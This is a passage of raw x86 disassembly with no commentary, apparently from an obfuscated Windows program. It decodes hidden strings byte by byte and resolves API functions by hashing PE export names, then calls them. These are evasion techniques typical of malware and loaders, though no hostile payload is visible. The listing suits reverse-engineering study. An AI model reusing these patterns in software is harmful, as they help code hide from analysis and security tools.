lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a8], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1a9], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x1aa], al
call fcn.004a1910
mov byte [esp + 0x1a7], al
xor esi, esi
mov byte [esp + 0x1a8], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x1a5]
call fcn.004a1930
lea ecx, [esp + 0x1a0]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1a5]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cbd30
push 7
lea ecx, [esp + 0x1a5]
call fcn.004a1930
lea ecx, [esp + 0x1a1]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6ec]
call fcn.004a1a70
lea ecx, [esp + 0x6e8]
call fcn.004a1ba0
lea ecx, [esp + 0x700]
call fcn.004a1ba0
lea ecx, [esp + 0x748]
call fcn.004a1940
push 0x79
lea ecx, [esp + 0x180]
mov byte [esp + 0x180], 0x6e
call fcn.004a1910
push 0x71
lea ecx, [esp + 0x180]
mov byte [esp + 0x181], al
call fcn.004a1910
push 0x59
lea ecx, [esp + 0x180]
mov byte [esp + 0x182], al
call fcn.004a1910
push 0x51
lea ecx, [esp + 0x180]
mov byte [esp + 0x183], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x180]
mov byte [esp + 0x184], al
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x180]
mov byte [esp + 0x185], al
call fcn.004a1910
mov byte [esp + 0x182], al
xor esi, esi
mov byte [esp + 0x183], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x181]
call fcn.004a1930
lea ecx, [esp + 0x17c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x181]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cbe50
push 6
lea ecx, [esp + 0x181]
call fcn.004a1930
lea ecx, [esp + 0x17d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x7dc]
call fcn.004a1bf0
push 0x49
lea ecx, [esp + 0x90]
mov byte [esp + 0x90], 0x60
call fcn.004a1910
push 0x53
lea ecx, [esp + 0x90]
mov byte [esp + 0x91], al
call fcn.004a1910
push 0x42
lea ecx, [esp + 0x90]
mov byte [esp + 0x92], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0x90]
mov byte [esp + 0x93], al
call fcn.004a1910
mov byte [esp + 0x90], al
xor esi, esi
mov byte [esp + 0x91], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x91]
call fcn.004a1930
lea ecx, [esp + 0x8c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x91]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4cbf20
push 4
lea ecx, [esp + 0x91]
call fcn.004a1930
lea ecx, [esp + 0x8d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x734]
call fcn.004a1bf0
push 0x50
lea ecx, [esp + 0x198]
mov byte [esp + 0x198], 0x75
call fcn.004a1910
push 0x6d
lea ecx, [esp + 0x198]
mov byte [esp + 0x199], al
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x198]
mov byte [esp + 0x19a], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x198]
mov byte [esp + 0x19b], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x198]
mov byte [esp + 0x19c], al
call fcn.004a1910
push 0x71
lea ecx, [esp + 0x198]
mov byte [esp + 0x19d], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x198]
mov byte [esp + 0x19e], al
call fcn.004a1910
mov byte [esp + 0x19b], al
xor esi, esi
mov byte [esp + 0x19c], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x199]
call fcn.004a1930
lea ecx, [esp + 0x194]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x199]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4cc030
push 7
lea ecx, [esp + 0x199]
call fcn.004a1930
lea ecx, [esp + 0x195]
mov byte [eax], 0
call fcn.004a1920
mov edx, eax
lea ecx, [esp + 0x730]
call fcn.004a20d0
test al, al
je 0x4cc260
push 0x38
lea ecx, [esp + 0x118]
mov byte [esp + 0x118], 0x1f
call fcn.004a1910
push 0x53
lea ecx, [esp + 0x118]
mov byte [esp + 0x119], al
call fcn.004a1910
push 0x55
lea ecx, [esp + 0x118]
mov byte [esp + 0x11a], al
call fcn.004a1910
push 0x70
lea ecx, [esp + 0x118]
mov byte [esp + 0x11b], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x118]
mov byte [esp + 0x11c], al
call fcn.004a1910
mov byte [esp + 0x119], al
xor esi, esi
mov byte [esp + 0x11a], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x119]
call fcn.004a1930
lea ecx, [esp + 0x114]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x119]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4cc120
push 5
lea ecx, [esp + 0x119]
call fcn.004a1930
lea ecx, [esp + 0x115]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x71c]
call fcn.004a1bf0
push 0x52
lea ecx, [esp + 0x98]
mov byte [esp + 0x98], 0x70
call fcn.004a1910
push 0x62
lea ecx, [esp + 0x98]
mov byte [esp + 0x99], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0x98]
mov byte [esp + 0x9a], al
call fcn.004a1910
push 0x7a
lea ecx, [esp + 0x98]
mov byte [esp + 0x9b], al
call fcn.004a1910
mov byte [esp + 0x98], al
xor esi, esi
mov byte [esp + 0x99], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x99]
call fcn.004a1930
lea ecx, [esp + 0x94]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x99]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4cc1f0
push 4
lea ecx, [esp + 0x99]
call fcn.004a1930
lea ecx, [esp + 0x95]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x71c]
call fcn.004a1aa0
lea ecx, [esp + 0x718]
call fcn.004a1ba0
lea ecx, [esp + 0x730]
call fcn.004a1ba0
lea ecx, [esp + 0x7d8]
call fcn.004a1ba0
cmp byte [0x568a3f], 0
jne 0x4cc2fd
mov edi, dword [0x568a78]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x18bb7300
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc2d0
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc2b3
cmp edx, 0x9178f6ed
je 0x4cc2d9
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc2a3
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
push 1
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
mov edi, dword [0x568a7c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xc9bd4a97
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc34d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc330
cmp edx, 0x7c49017a
je 0x4cc356
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc320
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
push 0x14
push 0x14
mov eax, dword [edx + 0x24]
push 0x297
push 0x35e
push 0xffffffffffffffff
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
push 0xffffffffffffffff
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x568a60]
mov dword [esp + 0x1c], eax
mov ecx, dword [edi + 0x3c]
mov eax, dword [ecx + edi + 0x78]
xor ecx, ecx
add eax, edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov dword [esp + 0x24], esi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x607f69b1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc3dd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc3c0
cmp edx, 0x8e4083a7
je 0x4cc3e6
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc3b0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
mov edx, dword [eax + 0x24]
mov esi, dword [eax + 0x1c]
mov dword [esp + 0x20], esi
mov dword [esp + 0x28], edx
lea eax, [edx + ecx*2]
movzx eax, word [eax + edi]
lea eax, [esi + eax*4]
mov esi, dword [esp + 0x24]
mov eax, dword [eax + edi]
add eax, edi
mov dword [esp + 0x40], eax
xor eax, eax
mov dword [esp + 0x18], eax
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x617f6b44
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc44d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc430
cmp edx, 0x7a6e7752
je 0x4cc456
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc420
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x24]
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
mov ecx, dword [esp + 0x20]
lea eax, [edi + eax*4]
mov eax, dword [eax + ecx]
add eax, edi
mov dword [esp + 0x2dc], eax
xor eax, eax
mov dword [esp + 0x18], eax
mov ecx, dword [esi]
mov edx, 0x627f6cd7
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc4af
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc492
cmp edx, 0x9bbce82f
je 0x4cc4b8
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc482
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x28]
push 0
push 0
lea eax, [edi + eax*2]
movzx eax, word [eax + ecx]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x295
lea eax, [edi + eax*4]
mov esi, dword [eax + ecx]
push 0x35c
push 1
add esi, edi
call dword [esp + 0x5c]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x14a
push eax
push 0
call dword [esp + 0x2fc]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x1af
push eax
push 0x96000000
push ecx
call fcn.00539400
add esp, 4
lea ecx, [esp + 0x76c]
push eax
call fcn.004a1940
push eax
push 0x20
call esi
mov edi, dword [0x568a60]
mov dword [0x568a44], eax
mov ecx, dword [edi + 0x3c]
mov eax, dword [ecx + edi + 0x78]
xor ecx, ecx
add eax, edi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x40], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xb8cadd47
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc57d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc560
cmp edx, 0x1d4ffa08
je 0x4cc586
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc550
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x18]
push 0
push dword [esp + 0x20]
mov eax, dword [edx + 0x24]
push dword [0x568a44]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x568a60]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
cmp byte [0x568026], cl
je 0x4cc611
mov ecx, dword [esi]
mov edx, 0x32310582
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc604
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc5e7
cmp edx, 0x4be8b360
je 0x4cc60d
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc5d7
push 0x11
jmp 0x4cc649
mov ecx, dword [esi]
mov edx, 0xc98e1980
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4cc63e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4cc621
cmp edx, 0x4c883452
je 0x4cc647
inc dword [esp + 0x18]
add esi, 4
jmp 0x4cc611
push 0
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push dword [0x568a44]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
push 0x39
lea ecx, [esp + 0x204]
mov byte [esp + 0x204], 0x17
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x204]
mov byte [esp + 0x205], al
call fcn.004a1910
push 0x58
lea ecx, [esp + 0x204]
mov byte [esp + 0x206], al
call fcn.004a1910
push 0x38
lea ecx, [esp + 0x204]
mov byte [esp + 0x207], al
call fcn.004a1910
push 0x4d
lea ecx, [esp + 0x204]
mov byte [esp + 0x208], al
call fcn.004a1910
push 0x59
lea ecx, [esp + 0x204]
mov byte [esp + 0x209], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x204]
mov byte [esp + 0x20a], al
call fcn.004a1910
push 0x78
lea ecx, [esp + 0x204]
mov byte [esp + 0x20b], al
call fcn.004a1910
mov byte [esp + 0x208], al
xor esi, esi
mov byte [esp + 0x209], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x205]
call fcn.004a1930
lea ecx, [esp + 0x200]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x205]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x4cc730
push 8
lea ecx, [esp + 0x205]
call fcn.004a1930
lea ecx, [esp + 0x201]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x77c]
call fcn.004a1bf0
push 0x50
lea ecx, [esp + 0x188]
mov byte [esp + 0x188], 0x54
call fcn.004a1910
push 0x70
lea ecx, [esp + 0x188]
mov byte [esp + 0x189], al
call fcn.004a1910
push 0x44
lea ecx, [esp + 0x188]
mov byte [esp + 0x18a], al
call fcn.004a1910
push 0x59
lea ecx, [esp + 0x188]
mov byte [esp + 0x18b], al
call fcn.004a1910
push 0x77
lea ecx, [esp + 0x188]
mov byte [esp + 0x18c], al
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x188]
mov byte [esp + 0x18d], al
call fcn.004a1910
mov byte [esp + 0x18a], al
xor esi, esi
mov byte [esp + 0x18b], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x189]
call fcn.004a1930
lea ecx, [esp + 0x184]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x189]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cc830
push 6
lea ecx, [esp + 0x189]
call fcn.004a1930
lea ecx, [esp + 0x185]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x764]
call fcn.004a1bf0
push 0x37
lea ecx, [esp + 0x190]
mov byte [esp + 0x190], 0x5b
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x190]
mov byte [esp + 0x191], al
call fcn.004a1910
push 0x37
lea ecx, [esp + 0x190]
mov byte [esp + 0x192], al
call fcn.004a1910
push 0x75
lea ecx, [esp + 0x190]
mov byte [esp + 0x193], al
call fcn.004a1910
push 0x4e
lea ecx, [esp + 0x190]
mov byte [esp + 0x194], al
call fcn.004a1910
push 0x4a
lea ecx, [esp + 0x190]
mov byte [esp + 0x195], al
call fcn.004a1910
mov byte [esp + 0x192], al
xor esi, esi
mov byte [esp + 0x193], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x191]
call fcn.004a1930
lea ecx, [esp + 0x18c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x191]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4cc930
push 6
lea ecx, [esp + 0x191]
call fcn.004a1930
lea ecx, [esp + 0x18d]
mov byte [eax], 0
call fcn.004a1920
push 1
mov esi, eax
lea ecx, [esp + 0x77c]
push 0
lea eax, [esp + 0x39c]
push eax
call fcn.004a1a10
mov edx, esi
mov ecx, eax
call fcn.004a20d0
lea ecx, [esp + 0x394]
mov byte [esp + 0x17], al
call fcn.004a1ba0
cmp byte [esp + 0x17], 0
je 0x4cca94